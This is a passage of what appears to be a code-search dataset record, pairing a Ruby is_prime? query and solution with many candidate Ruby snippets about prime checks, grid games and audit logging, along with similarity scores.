do |c|\n cell.potential_value_stack.delete_if { |value| value == cells[c[0]][c[1]].value }\n end\n cell.block_family.each do |c|\n cell.potential_value_stack.delete_if { |value| value == cells[c[0]][c[1]].value }\n end\n end\n end\nend", "def check_each_cell_status\n rows = grid.row_count\n cols = grid.column_count\n Matrix.build(rows, cols) { |row, col| find_live_neighbours(row, col) }\n end", "def each_prepared_mega_evolve\n @prepared_mega_evolve.each { |cells| yield(*cells) }\n @prepared_mega_evolve.clear\n end", "def find_entries(building)\n @buildings_nearby = building.nearbys(3)\n end", "def get_neighbors_from_cell(cell)\n coordinates = [\n [cell.coord_x + 1, cell.coord_y],\n [cell.coord_x - 1, cell.coord_y],\n [cell.coord_x, cell.coord_y - 1],\n [cell.coord_x, cell.coord_y + 1],\n [cell.coord_x - 1, cell.coord_y + 1],\n [cell.coord_x + 1, cell.coord_y + 1],\n [cell.coord_x - 1, cell.coord_y - 1],\n [cell.coord_x + 1, cell.coord_y - 1]\n ]\n\n neighbors = coordinates.map do |coordinate|\n find_cell(coordinate)\n end\n\n neighbors.select { |neighbor| neighbor && neighbor.empty? }\n end", "def visible_sprites(given_rect)\n if given_rect.nil?\n containing_sprite.view_actual_size! unless containing_sprite.source_is_set?\n compare_left = containing_sprite.source_x\n compare_bottom = containing_sprite.source_y\n compare_right = compare_left + containing_sprite.source_w\n compare_top = compare_bottom + containing_sprite.source_h\n else\n compare_left = given_rect.x\n compare_bottom = given_rect.y\n compare_right = compare_left + given_rect.w\n compare_top = compare_bottom + given_rect.h\n end\n\n intersecting_sprites(compare_left, compare_bottom, compare_right, compare_top)\n end", "def numbers_in_own_cube(cell_x_index, cell_y_index)\n all_cube_indexes = Array.new(3, [])\n cube_indexes = []\n\n # all_cube_indexes.cycle(all_cube_indexes.length - 1) { |each_row|\n # puts each_row\n # for row in all_cube_indexes do\n # puts row\n # end\n # }\n\n if cell_x_index == 0 || cell_x_index == 1 || cell_x_index == 2\n if cell_y_index == 0 || cell_y_index == 1 || cell_y_index == 2\n cube_values = [[board[0][0], board[0][1], board[0][2]],\n [board[1][0], board[1][1], board[1][2]],\n [board[2][0], board[2][1], board[2][2]]]\n\n elsif cell_y_index == 3 || cell_y_index == 4 || cell_y_index == 5\n cube_values = [[board[0][3], board[0][4], board[0][5]],\n [board[1][3], board[1][4], board[1][5]],\n [board[2][3], board[2][4], board[2][5]]\n ]\n else\n cube_values = [[board[0][6], board[0][7], board[0][8]],\n [board[1][6], board[1][7], board[1][8]],\n [board[2][6], board[2][7], board[2][8]]\n ]\n end\n elsif cell_x_index == 3 || cell_x_index == 4 || cell_x_index == 5\n if cell_y_index == 0 || cell_y_index == 1 || cell_y_index == 2\n cube_values = [[board[3][0], board[3][1], board[3][2]],\n [board[4][0], board[4][1], board[4][2]],\n [board[5][0], board[5][1], board[5][2]]\n ]\n elsif cell_y_index == 3 || cell_y_index == 4 || cell_y_index == 5\n cube_values = [[board[3][3], board[3][4], board[3][5]],\n [board[4][3], board[4][4], board[4][5]],\n [board[5][3], board[5][4], board[5][5]]\n ]\n else\n cube_values = [[board[3][6], board[3][7], board[3][8]],\n [board[4][6], board[4][7], board[4][8]],\n [board[5][6], board[5][7], board[5][8]]\n ]\n end\n else\n if cell_y_index == 0 || cell_y_index == 1 || cell_y_index == 2\n cube_values = [[board[6][0], board[6][1], board[6][2]],\n [board[7,0], board[7][1], board[7][2]],\n [board[8,0], board[8][1], board[8][2]]\n ]\n elsif cell_y_index == 3 || cell_y_index == 4 || cell_y_index == 5\n cube_values = [[board[6][3], board[6][4], board[6][5]],\n [board[7][3], board[7][4], board[7][5]],\n [board[8][3], board[8][4], board[8][5]]\n ]\n else\n cube_values = [[board[6][6], board[6][7], board[6][8]],\n [board[7][6], board[7][7], board[7][8]],\n [board[8][6], board[8][7], board[8][8]]\n ]\n end\n end\n end", "def find_adjacent_rooms(from)\r\n return from.return_adjacent_rooms\r\n end", "def active_cells; @cells.select(&:active?) end", "def won?\n safe_tiles = @grid.flatten.select { | tile | tile.value != BOMB }\n safe_tiles.all? { | tile | tile.revealed }\n end", "def iterate_battler(param1, param2)\n if $game_temp.in_battle\n if param1 == 0 # Enemy\n iterate_enemy_index(param2) do |enemy| yield enemy end\n else # Actor\n iterate_actor_index(param2) do |enemy| yield enemy end\n end\n end\n end", "def populate_grid\n start_rows = { red: (0..2), black: (5..7) }\n\n 8.times do |x|\n 8.times do |y|\n [:red, :black].each do |color|\n if (x + y).even? && start_rows[color].include?(y)\n self[[x, y]] = Piece.new(color, [x, y], self)\n end\n end\n end\n end\n\n grid.each_with_index do |row, y|\n row.each_with_index do |cell, x|\n puts \"x=#{x}, y=#{y}, cell.class=#{cell.class}\"\n end\n end\n end", "def find_cells_arround(row, column)\n count = 0\n next_row = row + 1\n next_column = column + 1\n if row + 1 == @grid.length\n next_row = 0\n end\n if column + 1 == @grid.length\n next_column = 0\n end\n if @grid[row][next_column] == \"x\"\n count += 1\n end\n if @grid[row][column - 1] == \"x\"\n count += 1\n end\n if @grid[next_row][column] == \"x\"\n count += 1\n end\n if @grid[next_row][next_column] == \"x\"\n count += 1\n end\n if @grid[next_row][column - 1] == \"x\"\n count += 1\n end\n if @grid[row - 1][column] == \"x\"\n count += 1\n end\n if @grid[row - 1][next_column] == \"x\"\n count += 1\n end\n if @grid[row - 1][column - 1] == \"x\"\n count += 1\n end\n return count\n end", "def check_for_win(game)\n return nil if game.turns.size < 5 \n\n xs = game.turns.where(mark: 'X').map {|turn| turn.board_index }\n os = game.turns.where(mark: 'O').map {|turn| turn.board_index }\n\n @@win_conditions.each do |win|\n # Check if xs or os contain indices combo that meet win condition\n if (win-xs).empty?\n return [\"X\", win.join(' ')]\n elsif (win-os).empty?\n return [\"O\",win.join(' ')]\n end\n end\n\n if game.turns.size > 8\n return [\"TIE\",\"\"]\n else\n return nil\n end\n end", "def big_shoe_rebounds\n big_foot = 0\n boards = 0\n\n game_hash.values.each do |roster|\n roster[:players].each do |player|\n if player[:shoe] > big_foot\n big_foot = player[:shoe]\n boards = player[:rebounds]\n end\n end\n end\n return boards\nend", "def get_working_list(sudoku_cells)\n # look through the grid and put into the array\n # all the cells that still need attention\n working_list = []\n sudoku_cells.each do |row|\n row.each do |cell|\n if cell.value.zero? \n working_list << cell\n # print cell.value.to_s + ' '\n end\n end\n end\n return working_list\n # this method could possible implemented at the start\n # to reduce unnecessary check and improve performance\nend", "def index\n @params = params.permit(:building, :floor)\n \n @buildings = Place.distinct.pluck(:building)\n @floors = Place.where(building:params[:building]).distinct.order(:floor).pluck(:floor) if @params[:building]\n @current_user_place = current_user.place\n if @params[:building] && @params[:floor]\n @cells = Place.where(building: @params[:building], floor: @params[:floor]).order(:room, :id).includes(:user).group_by{|i| i.cell}\n end\n end", "def createcells(xstart,xend, ystart,yend, stepOverinuse, aface)\r\n countx = 0\r\n xmax = ymax = 0\r\n x = xstart\r\n while (x <= xend) do\r\n y = ystart\r\n county = 0\r\n while (y <= yend) do\r\n #note: using half stepover on the X axis, gets the ends of the zigs closer to the border\r\n xc = ((x-xstart) / (stepOverinuse/2) + 0.002).round # x cell index\r\n yc = ((y-ystart) / stepOverinuse + 0.002).round # y cell index\r\n pt = Geom::Point3d.new(x, y,0)\r\n res = aface.classify_point(pt)\r\n \r\n case res\r\n when Sketchup::Face::PointUnknown #(indicates an error),\r\n puts \"unknown\" if (@debug)\r\n when Sketchup::Face::PointInside #(point is on the face, not in a hole),\r\n @cells[[xc,yc]] = true\r\n when Sketchup::Face::PointOnVertex #(point touches a vertex),\r\n #cells[[xc,yc]] = true\r\n when Sketchup::Face::PointOnEdge #(point is on an edge),\r\n #cells[[xc,yc]] = true\r\n when Sketchup::Face::PointOutside #(point outside the face or in a hole),\r\n #puts \"outside\" if (@debug)\r\n when Sketchup::Face::PointNotOnPlane #(point off the face's plane).\r\n puts \"notonplane\" if (@debug)\r\n end\r\n \r\n xmax = (xmax < xc) ? xc : xmax\r\n ymax = (ymax < yc) ? yc : ymax\r\n y += stepOverinuse\r\n county += 1\r\n if (county > 5000) #really for debugging but prevents runaway loops\r\n puts \"county high break\"\r\n break\r\n end\r\n end # while y\r\n x += (stepOverinuse / 2.0)\r\n countx += 1\r\n if (countx > 5000)\r\n puts \"countx high break\"\r\n break\r\n end\r\n end # while x\r\n @cellxmax = xmax\r\n @cellymax = ymax\r\n end", "def remove_inaccessible_cells(map, goal)\n # Use a flood fill to keep cells; everything not flooded gets a 99.\n basin = Set.new\n flood_fill(map, basin, goal[0], goal[1])\n map.height.times do |row|\n map.width.times do |col|\n map.set(row, col, 99) unless basin.include?([row, col])\n end\n end\n end", "def each_with_level(objects, &block)\n Iterator.new(objects).each_with_level(&block)\n end", "def over?(board)\n\n\n # is board full\n board.all? {|i| i == \"O\" || i == \"X\"}\n\n\nend" ]
[ "0.5865903", "0.5782244", "0.57566696", "0.57566696", "0.5697716", "0.56021726", "0.5548103", "0.55251366", "0.54347396", "0.5401786", "0.53337115", "0.5326179", "0.5289907", "0.5274942", "0.5254335", "0.51963204", "0.51589024", "0.5103795", "0.51024944", "0.51024944", "0.5055422", "0.50382113", "0.50333136", "0.5019855", "0.50064653", "0.49943238", "0.49736583", "0.49605134", "0.4957246", "0.4945966", "0.49435803", "0.4932519", "0.49266675", "0.49252266", "0.491113", "0.4910411", "0.49036112", "0.48865467", "0.48788336", "0.48604727", "0.48489842", "0.48465917", "0.4845063", "0.48448768", "0.4842287", "0.48395425", "0.48363972", "0.48362714", "0.48340398", "0.48263597", "0.4823789", "0.48172662", "0.4787763", "0.4782853", "0.4779601", "0.47670588", "0.4766751", "0.47641405", "0.47601095", "0.47599193", "0.47553125", "0.47453177", "0.47415745", "0.47382468", "0.47357497", "0.47163257", "0.47137338", "0.47087947", "0.46912354", "0.46811458", "0.4678995", "0.46775344", "0.46742013", "0.46699083", "0.46667182", "0.4657799", "0.46576583", "0.46573105", "0.4654415", "0.46489397", "0.46473527", "0.46447548", "0.46390837", "0.46366176", "0.46286935", "0.46147364", "0.46118906", "0.4601942", "0.46017364", "0.4600593", "0.45948222", "0.4591076", "0.45809913", "0.45806214", "0.45779055", "0.45774037", "0.45728272", "0.45666665", "0.45627573", "0.4558298" ]
0.6755905
0
numbers greater than 1 can be prime. Difficulty: medium. You may use our `is_prime?` solution.
def is_prime?(number) if number <= 1 # only numbers > 1 can be prime. return false end idx = 2 while idx < number if (number % idx) == 0 return false end idx += 1 end return true end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def is_prime?(num)\n if !num.is_a?(Integer) || ( num.class == Float && !num.nan? && num == num.floor ) || num <= 1\n false\n else\n (2...num).each do |i|\n if num % i == 0\n return false\n end\n end\n true\n end\nend", "def is_prime?(num)\n ('1' * num) !~ /^1?$|^(11+?)\\1+$/\n end", "def is_prime?(n)\n end", "def is_prime?(num)\n if !is_integer?(num)\n return false\n elsif num <= 1\n return false\n else\n (2..(num-1)).each do |el|\n if num % el == 0\n return false\n end\n end\n end\n return true\nend", "def is_prime_number(num)\n (2...num).all? {|n| num % n != 0}# has factors\nend", "def is_prime?\n return false if num <= 1\n Math.sqrt(num).to_i.downto(2).each {|i| return false if num % i == 0}\n true\nend", "def is_prime?(num)\n return false if num == 1\n return true if num == 2 \n (2..Math.sqrt(num)+1).each do |x|\n return false if num%x == 0\n end\n true\nend", "def is_prime?(number)\n (2...number).each do |factor|\n if number % factor == 0\n return false\n end\n end\n return true\nend", "def is_prime?(number)\n factors = (2...(number))\n if number == 2 || number == 3\n return true\n elsif number == 0 || number == 1\n return false\n elsif factors.any? {|factor| number % factor == 0 }\n return false\n else return true\n end\nend", "def is_prime?(num)\n (2...num).each do |factor|\n if num % factor == 0\n return false\n end\n end\n true\nend", "def is_prime?(integer)\n return false if integer == 1\n (2...integer).to_a.all? {|num| integer % num != 0}\nend", "def is_prime?(num)\n return false if num < 2\n (2...num).each { |factor| return false if num % factor == 0}\n true\nend", "def is_prime?(number)\n return false if number < 2\n (2...number).to_a.none?{ |integer| number % integer == 0 }\nend", "def is_prime?(num)\n (2...num).each do |i|\n if num % i == 0\n return false\n end\n end\n num > 2\nend", "def is_prime?(num)\n\n return false if num<2\n\n (2...num).none? {|factor| num%factor == 0}\n\nend", "def is_prime?(num)\n Math.sqrt(num).floor.downto(2).each do |i|\n false if num % i == 0\n end\n true\nend", "def prime?(num)\n return false if num == 1\n return true if num == 2 or num == 3 or num == 5 or num == 7\n return false if num % 2 == 0 or num % 3 == 0 or num % 5 == 0 or num % 7 == 0\n (11..Math.sqrt(num).ceil).each do |i| \n return false if num % i == 0\n end\n true \nend", "def is_prime?(num)\n return true if num == 1\n (2...num).all? {|i| (num % i) != 0}\nend", "def is_prime?(num)\n (2...num).none? { |div| num % div == 0 }\nend", "def is_prime(num)\n (2..num**0.5).each { |i| return false if num % i == 0 }\n true\nend", "def is_prime?(num)\n (2...num).each {|el| return false if num % el == 0}\n true\nend", "def is_prime?(n)\n (2...n).each { |factor| return false if n % factor == 0 } \n n > 1\nend", "def is_prime?(number)\n remainders = (2...number).map { |d| number % d}\n !remainders.include?(0) && number > 1\nend", "def is_prime?(num)\n return 2 if num == 2\n (2...num).each do |n|\n return false if num % n == 0\n end\n true\nend", "def is_prime?(num)\r\n (2..(num ** 0.5).to_i).each {|factor| return false if num % factor == 0 && num != factor} # no need to check above square root\r\n true\r\nend", "def is_prime?(num)\n return false if num < 2\n (2...num).none? { |factor| num % factor == 0 }\nend", "def is_prime?(num)\n return false if num < 2\n (2...num).none? { |factor| num % factor == 0 }\nend", "def is_prime?(num)\n return false if num < 2\n (2...num).none? { |factor| num % factor == 0 }\nend", "def is_prime?(num)\n return false if num <= 1\n\n (2...num).each do |fact|\n return false if num % fact == 0\n end\n\n true\nend", "def is_prime?(number)\n (2...number).each do |divisor|\n return false if number % divisor == 0\n end\n\n true\n \nend", "def prime?(num)\n if num == 2\n true\n elsif num > 1 && num % num == 0 && num % 1 == 0 && !(2 .. (num - 1)).to_a.any?{|number| num % number == 0}\n true\n else\n false\n end\nend", "def is_prime?(num)\n return false if num == 1 #added gaurd clause after watching walkthrough\n (2..(num - 1)).select do |x| #refactored to remove range variable\n return false if num % x == 0\n end\n return true #moved the this return to solve is_prime?(2) while watching video\nend", "def isPrime?(num)\n return false if num < 2\n\n (2...num).each { |factor| return false if num % factor == 0}\n\n true\nend", "def is_prime?(num)\nend", "def is_prime?(num)\n (2...num).each do |el|\n return false if num % el == 0\n end\n true\nend", "def isprime?(num)\n\n return false if num<2\n\n (2...num).each do |factor|\n return false if num % factor == 0\n end\n\n return true\n\nend", "def prime?(int)\n \nend", "def prime?(num)\n Math.sqrt(num).to_i.downto(2).each { |i| return false if (num % i).zero? }\n true\nend", "def is_prime?(num)\n (2...num).none? { |el| num % el == 0 }\nend", "def is_prime?(num)\n (2...num).each do |i|\n return false if num % i == 0\n end\n true\nend", "def check_prime? num\n return false if num <= 1\n Math.sqrt(num).to_i.downto(2).each {|i| return false if num % i == 0}\n true\nend", "def is_prime?(num)\n return false if num.even?\n for i in (2..((num/2.round) + 1))\n return false if num % i == 0\n end\n return true\nend", "def is_prime?(num)\n return false if num.even?\n for i in (2..((num/2.round) + 1))\n return false if num % i == 0\n end\n return true\nend", "def is_prime(num)\n return false if num <= 1\n Math.sqrt(num).to_i.downto(2).each {|i| return false if num % i == 0}\n return true\nend", "def prime?(num)\n if 0 == num or 1 == num\n return false\n else\n return (2..Math.sqrt(num)).all? { |x| num % x != 0}\n end\nend", "def is_prime?(number)\n (2..(number - 1)).each do |divisor|\n return false if number % divisor == 0\n end\n\n true\nend", "def is_prime?(number)\n (2..(number - 1)).each do |divisor|\n return false if number % divisor == 0\n end\n\n true\nend", "def is_prime?(number)\n (2..(number - 1)).each do |divisor|\n return false if number % divisor == 0\n end\n\n true\nend", "def is_prime?(num)\n (2..num/2).none?{|el| num % el == 0}\nend", "def is_prime?(number)\r\n (2...number).each do |n|\r\n return false if number % n == 0\r\n end\r\n true\r\nend", "def isPrime(num)\n return false if num < 2\n\n sqrt_num = Math.sqrt(num).floor\n 2.upto(sqrt_num){|i|\n if num % i == 0\n return false # 割り切れたら素数でない\n end\n }\n return true\nend", "def is_prime? (number)\n return false if number < 1\n 2.upto(Math.sqrt(number)) do |x|\n return false if number % x == 0\n end \n true\nend", "def is_prime?(num)\n (2..num-1).each do |x|\n return false if num % x == 0\n end\n true\nend", "def is_prime?(num)\n (2..(num/2)).each { |divisor| return false if num % divisor == 0 }\n true\nend", "def is_prime?(num)\nreturn false if num < 2\n\n(2...num).none? { |num2| num % num2 == 0}\nend", "def is_prime?(num)\n # Write your code here\n # (1..num).select { |element| num % element == 0 }.length == 2 ? true : false\n\n return false if num < 2\n\n (2...num).each do |factor|\n if num % factor == 0\n return false\n end\n end\n return true\nend", "def is_prime?(num)\n return false if num < 2\n (2...num).each do |i|\n return false if num%i == 0\n end\n return true\nend", "def num_prime?(num)\n j = Math.sqrt(num).floor\n is_prime = true\n (2..j).each do |i|\n is_prime = false if num % i == 0\n end\n is_prime\nend", "def is_prime?(num)\n (2...num).none? {|i| num % i == 0}\nend", "def is_prime?(num)\n (2..(num - 1)).each do |divisor|\n return false if num % divisor == 0\n end\n\n true\nend", "def is_prime?(num)\n return if num <= 1\n (2..Math.sqrt(num)).none? { |i| (num % i).zero? }\nend", "def is_prime?(num)\n (2...num).each do |n|\n if num % n == 0\n return false\n end\n end\n true\nend", "def is_prime?(f) \n !(2..(f**0.5)).any? {|div| f%div==0 }\nend", "def is_prime?(num)\n\treturn false if (num < 1 || num.class == Float)\n\t(2...num).each { |n| return false if num % n == 0 }\n\ttrue\nend", "def prime?(num)\n return false if num <= 1\n Math.sqrt(num).to_i.downto(2).each {|i| return false if num % i == 0}\n true\n end", "def is_prime?(num)\n return false if num < 2\n (2...num).each do |i|\n if num % i == 0\n return false\n end\n end\n return true\nend", "def is_prime?(num)\n return false if num < 2\n (2...num).each do |i|\n if num % i == 0\n return false\n end\n end\n return true\nend", "def is_prime?(num)\n (2..num / 2).each do |n|\n return false if num % n == 0\n end\n true\nend", "def is_prime?(num)\n return false if num <2\n return (2..num/2).none? {|i| num%i==0}\nend", "def is_prime?(num)\n return false if num < 2\n \n (2...num).each do |i|\n return false if num % i == 0\n end\n true\nend", "def is_prime?\n return true if self == 2\n return false if self < 3\n for divisor in 2..(Math.sqrt(self).to_i)\n return false if self%divisor == 0\n end\n true\n end", "def is_prime?(x)\n return false if x == 1\n return true if x == 2 || x == 3\n return false if x % 2 == 0 || x % 3 == 0\n limit = (x ** (1/2.0)).to_i\n i = 1\n a = 6*i - 1\n b = 6*i + 1\n\n while a <= limit || b <= limit\n return false if x % a == 0 || x % b == 0\n i += 1\n a = 6*i - 1\n b = 6*i + 1\n end\n\n return true\nend", "def isPrime?(num)\n if num < 2\n return false\n end\n\n (2...num).each do |n|\n if num % n == 0\n return false\n end\n end\n return true\nend", "def prime?(number)\n (2..(number-1)).each do |possible_factor|\n return false if number % possible_factor == 0\n end\n true\nend", "def prime?(num) \n return false if !num.integer? #integer is # that is not a fraction\n return false if num < 2\n return true if num == 2\n (2..num-1).each {|int| return false if num % int == 0}\n true\nend", "def isPrime(num)\n return false if num <= 1\n Math.sqrt(num).to_i.downto(2).each {|i| return false if num % i == 0}\n true\nend", "def is_prime?(number)\n return false if number < 2\n \n (2..number - 1).each do |n|\n return false if number % n == 0\n end\n\n true\nend", "def is_prime?(num)\n\t\t return false if num <= 1\n\t\t maxfactor = Math.sqrt(num).to_i\n\t\t (2..maxfactor).each {|i| return false if num % i == 0}\n\t\t true\n\t\tend", "def is_prime?(num)\n if num == 2 || num == 3 || num == 5\n return true\n elsif num % 2 == 0 || num % 3 == 0 || num % 5 == 0\n return false\n else\n return true\n end\nend", "def is_prime?(num)\n return false if num < 2\n\n (2...num).each do |i|\n return false if num % i == 0\n end\n true \nend", "def is_prime?(num)\n (2...num).none? { |n| num % n == 0 }\nend", "def is_prime?(number)\n\nend", "def is_prime?(number)\n\nend", "def prime?(i)\n if i <= 1\n false\n else\n #(range_of_numbers[i] / 1) == range_of_numbers[i] || 1\n range_of_numbers = (2...i).to_a\n range_of_numbers.all? {|number| i % number != 0}\n end\nend", "def is_prime?(num)\n 2.upto(num-1) do |i|\n return false if num%i==0\n end\n true\nend", "def is_prime?(n)\n count = 0\n if n.class==Float || n<1\n false\n else\n (2...n).to_a.each{|num| if n%num==0 then count+=1 end}\n return count==0 ? true : false\n end\nend", "def is_prime?(n) \n Math.sqrt(n).to_i.downto(2).each do |i| \n return false if n % i == 0\n end\nend", "def isPrime(num)\n return false if num <= 1\n (2...num).each { |div| return false if num % div == 0 }\n true\nend", "def isPrime?(num)\n (2...num).each do |rangeNum|\n if num % rangeNum == 0\n return false\n end\n end\n return true\nend", "def is_prime(num)\n (2..Math.sqrt(num).floor).each do |i|\n if num % i == 0\n return false\n end\n end\n return true\nend", "def is_prime?(num)\n for i in (2...num/2)\n if num % i == 0\n return false\n end\n end\n return true\nend", "def is_prime?(num)\n if num > 2 \n if num % 2 == 0\n return false\n end\n i = 3 # start at 3\n maxn = num**(0.5) # go up to the square root of num\n while i <= maxn\n if num % i === 0\n return false\n end\n i = i+2 # count up by 2 to check only odd numbers\n end\n true\n elsif num == 2 # special case for 2\n true\n else\n false\n end\nend", "def prime?(num)\n return false if num == 1\n (2...num).each do |number|\n return false if num % number == 0\n end\n return true\nend", "def isPrime?(num)\n if ((num == 2) || (num == 5))\n return true\n end\n if (num % 2) == 0\n return false\n end\n if (num % 5) == 0\n return false\n end\n x = Math.sqrt(num)+1\n for i in 2...x\n if((num % i) == 0)\n return false\n end\n end\nend", "def is_prime?(i)\r\n 2.upto(Math.sqrt(i).to_i) {|j|\r\n return false if i % j == 0\r\n }\r\n true\r\nend", "def is_prime?(number)\n number = number.abs\n return false if number < 2\n return true if number < 4\n\n factor = 2\n while factor * factor <= number\n return false if number % factor == 0\n factor += 1\n end\n\n true\nend", "def is_prime?(number)\n number = number.abs\n return false if number < 2\n return true if number < 4\n\n factor = 2\n while factor * factor <= number\n return false if number % factor == 0\n factor += 1\n end\n\n true\nend", "def is_prime?(number)\n number = number.abs\n return false if number < 2\n return true if number < 4\n\n factor = 2\n while factor * factor <= number\n return false if number % factor == 0\n factor += 1\n end\n\n true\nend", "def is_prime?(num)\n\tif num > 1\n\t\tmaxn = num**(0.5)\n\t\ti = 2\n\t\twhile i <= maxn\n \t\t\tif num % i === 0\n \t\t\t\treturn false\n \t\t\tend\n \t\t\ti = i+2\n\t\tend\n\t\ttrue\n\telse\n\t\tfalse\n\tend\nend", "def prime?(num)\n if num < 2\n return false\n end\n\n (2...num).each do |factor|\n if num % factor == 0\n return false\n end\n end\n\n return true\nend", "def prime?(num)\n return false if num <= 1\n for i in (2..num - 1)\n return false if num.to_f % i == 0\n end\n true\nend" ]
[ "0.82976776", "0.8213565", "0.82086563", "0.81576306", "0.81227183", "0.8120719", "0.8120448", "0.81031424", "0.8093666", "0.8091813", "0.80786353", "0.8073417", "0.80681366", "0.8057749", "0.804996", "0.8049394", "0.8044924", "0.80348283", "0.80331975", "0.8029797", "0.8029162", "0.80268955", "0.80258554", "0.80204153", "0.801421", "0.8010879", "0.8010879", "0.8010879", "0.80085576", "0.8004326", "0.8001158", "0.79978997", "0.79926383", "0.7990333", "0.79873365", "0.79872537", "0.79757124", "0.79715544", "0.7966999", "0.79610056", "0.7960384", "0.7959513", "0.7959513", "0.79567945", "0.7954549", "0.7950901", "0.7950901", "0.7950901", "0.79502475", "0.79488075", "0.79479915", "0.79471624", "0.79465955", "0.79388046", "0.7938034", "0.79373443", "0.7936931", "0.79287815", "0.79278916", "0.79253674", "0.7920008", "0.791844", "0.79152304", "0.7912953", "0.79102015", "0.79080445", "0.7907739", "0.7904739", "0.7898222", "0.78955156", "0.78910935", "0.788962", "0.7888254", "0.78862745", "0.7882951", "0.7880561", "0.7878008", "0.7873583", "0.78675324", "0.78669345", "0.78656226", "0.78641206", "0.78641206", "0.7862061", "0.78608346", "0.78607893", "0.78587043", "0.7857014", "0.785607", "0.78516525", "0.78504866", "0.78500205", "0.7849483", "0.78478825", "0.78471106", "0.78450537", "0.78450537", "0.78450537", "0.7844254", "0.784424", "0.78430766" ]
0.0
-1
Initialize auditor proxy with given audit id === Parameters audit_id(Integer):: ID of audit entry that should be appended to
def initialize(audit_id) @audit_id = audit_id @buffer = '' @timer = nil end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize(audit_id)\n @audit_id = audit_id\n @size = 0\n @buffer = ''\n @mutex = Mutex.new\n end", "def set_audit_trail\n @audit_trail = AuditTrail.find(params[:id])\n end", "def set_audit\n @audit = Audit.find(params[:id])\n end", "def set_audit\n @audit = Audit.find(params[:id])\n end", "def set_audit\n @audit = Audit.find(params[:id])\n end", "def set_audit\n @audit = Audit.find(params[:id])\n end", "def set_audit_log\n @audit_log = AuditLog.find(params[:id])\n end", "def set_account\n @audits = Audit.find(params[:id])\n end", "def set_auditor\n @auditor = Auditor.find(params[:id])\n end", "def set_user_audit\n @user_audit = UserAudit.find(params[:id])\n end", "def initialize(id)\n @id = id\n end", "def initialize(id)\n @id = id\n end", "def initialize(id)\n @id = id\n end", "def initialize(id) @id = id; end", "def initialize(id) @id = id; end", "def initialize(id)\n self.id = id\n end", "def set_audit\n @audit = Audit.find(params[:id])\n @project = @audit.project\n end", "def initialize_audit_log\n # only save logs for POST,PUT,PATCH and DELETE methods\n # creates\n if (request.post? || request.patch? || request.put? || request.delete? )\n @audit_log = AuditLog.new\n @audit_log.ip = request.remote_ip\n @audit_log.user_name = current_user.full_name\n end\n\n end", "def initialize(id); end", "def audit_trail(context_to_log = nil)\n @transition_auditor ||= StateMachine::AuditTrail::Backend.create_for_transition_class(transition_class, self.owner_class, context_to_log)\n end", "def initialize(id)\n @id = id\n end", "def audit\n data = {\"changes\" => changes, \"metadata\" => audit_metadata}\n Audit::Tracking.log.record(audit_bucket, self.id, data)\n end", "def initialize(id)\n\t\t@id = id\n\tend", "def set_audit_log_data\n @audit_log.auditable = @product_section if @audit_log\n end", "def audit\n identifier(audit_db)\n end", "def set_labtech_audit\n @labtech_audit = LabtechAudit.find(params[:id])\n end", "def initialize (id)\n @id = id\n end", "def audit(*options)\n has_many :audits, :class_name => \"Auditable::Audit\", :as => :auditable\n after_create {|record| record.snap!(:action => \"create\")}\n after_update {|record| record.snap!(:action => \"update\")}\n\n self.audited_attributes = Array.wrap options\n end", "def audit(*options)\n has_many :audits, :class_name => \"Auditable::Audit\", :as => :auditable\n after_create {|record| record.snap!(:action => \"create\")}\n after_update {|record| record.snap!(:action => \"update\")}\n\n self.audited_attributes = Array.wrap options\n end", "def initialize(id, payload = EMPTY_HASH)\n @id = id\n @payload = payload\n end", "def set_audition_journal\n @audition_journal = AuditionJournal.find(params[:id])\n end", "def set_auditorio\n @auditorio = Auditorio.find(params[:id])\n end", "def initialize(id)\n self.id = id\n end", "def initialize(aggregate_id)\n @aggregate_id = aggregate_id\n @events = Array.new\n @listeners = Array.new\n end", "def set_auditreview\n @auditreview = Auditreview.find(params[:id])\n end", "def audit_log\n AuditLog.new(space_id, store_id)\n end", "def set_audition\n @audition = Audition.find(params[:id])\n end", "def install_asset_id=(asset_id)\n asset = Asset.find_by_guid(asset_id)\n hist = AssetOnSegmentHistory.create()\n asset_on_segment_historys << hist\n hist.install(asset)\n asset.save\n AssetObserver.install(asset, hist)\n end", "def define_hook(id, &block)\n\t\t\t\t\th = Hook.new id, &block\n\t\t\t\t\t@hooks[id] = [] unless @hooks[id]\n\t\t\t\t\t@hooks[id] << h\n\t\t\t\tend", "def audits\n Audit::Tracking.log.audits(audit_bucket, self.id)\n end", "def set_actor_audition\n @actor_audition = ActorAudition.find(params[:id])\n end", "def initialize(id)\n @id = id\n @sess_hash = {}\n end", "def initialize(id, c)\n\t\t\t@id = id\n\t\t\t#super(id)\n\t\t\t@config = c\n\t\t\t@file_log = config.file_log\n\t\tend", "def initialize(id: nil)\n super()\n @id = id\n end", "def add_audit_trail(options = {})\r\n #logger.info(\"*** Adding audit trail. options: #{options.inspect}\")\r\n return false unless current_user and options[:details] \r\n if current_user\n\toptions[:user_id] = current_user.id \n else\n\toptions[:user_id] = 0 \n end\t\r\n\r\n if @article_submission\r\n options[:article_submission_id] ||= @article_submission.id\r\n end\r\n if @user\r\n options[:user_acted_as_id] ||= @user.id\r\n end\r\n if @contribution\r\n options[:contribution_id] ||= @contribution.id\r\n end\r\n if @coi_form\r\n options[:coi_form_id] || @coi_form.id\r\n end\r\n \r\n audit_trail = AuditTrail.create(options)\r\n logger.info(\"*** Created audit trail: #{audit_trail.inspect}\")\r\n end", "def library_document_audit_trail(library_document_id, file_path = nil)\n response = request(:library_document_audit_trail, library_document_id)\n unless file_path.nil?\n file = File.new(file_path, 'wb')\n file.write(response)\n file.close\n end\n response\n end", "def set_audible\n @audible = Audible.find(params[:id])\n end", "def get(id)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'id', id);\n\t\t\tclient.queue_service_action_call('audit_audittrail', 'get', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend", "def audit(audit_data)\n @log4r.debug(audit_data)\n end", "def set_aspect\n @aspect = Aspect.find_by_hashid(params[:id])\n end", "def set_auditv\n @auditv = Auditv.find(params[:id])\n @vidres = Vidre.where(:auditv_id=>params[:id])\n end", "def GetTicketAudits id,params = {}\n\n params = params.merge(path: \"tickets/#{id}/audits.json\")\n APICall(params)\n\n end", "def initialize(id)\n @id = id\n @name = nil\n @description = nil\n end", 